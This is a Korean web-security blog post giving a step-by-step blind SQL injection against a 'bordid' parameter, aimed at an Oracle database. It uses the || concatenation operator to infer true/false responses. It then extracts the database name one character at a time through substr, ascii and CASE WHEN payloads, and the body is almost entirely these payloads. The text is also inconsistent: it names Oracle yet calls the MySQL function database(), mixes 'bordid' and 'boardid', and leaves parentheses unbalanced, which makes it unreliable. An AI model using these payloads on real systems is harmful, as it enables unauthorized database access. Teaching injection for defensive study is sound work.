1. DB 환경 : Oracle
2. 목적 : user 이름 및 Database 이름 확인
3. 공격 순서 :
1) 정상 파라미터 값
bordid = no0001
2) 파라미터 값 중간에 연결 연산자 입력 후 응답값 확인
bordid=no0'||'001
3) 응답 값 확인(참, 거짓)
bordid=no0'||0||'001 // 참
bordid=no0'||1||'001 //거짓
4) SELECT 구문 사용 가능 여부 체크
boardid=no0'||select+0||'001 // 참
boardid=no0'||select+1||'001 //거짓
5) 연결 연산자 사이에 SQL 구문 삽입
bordid=no0'||______(SQL 구문)_______||001
(1) (select+database()) //database() 값 보기
(2) (substr((select+database()),1,1) //database() 값 첫글자 한개 요청
(3) (ascii(substr((select+database()),1,1)>100) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 100보다 큰지?( '>'URL 인코딩 : %3e)
(4) (select+case+when(ascii(substr((select+database()),1,1)=114))+then+'0'+else+'1'+end) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 114인지? 참이면 0 거짓이면 1
(5) (select+case+when(select+database()='ko123a')+then+'0'+else+'1'+end) //database 이름이 ko123a가 맞는지? 참이면 정상 페이지
'보안 > WEB' 카테고리의 다른 글
[WEB보안] WebHacking 기초 (0) | 2020.06.13 |
---|---|
[WEB보안] Blind SQL Injection_if조건문 (0) | 2020.06.13 |
[WAB 보안] XSS(Cross Site Scripting) 취약점 (0) | 2020.05.02 |
[WEB 보안] SQL 연결연산자로 DB 확인 (0) | 2020.05.02 |
[WEB 보안] SQL Injection-UNION Attack_2 (0) | 2020.04.27 |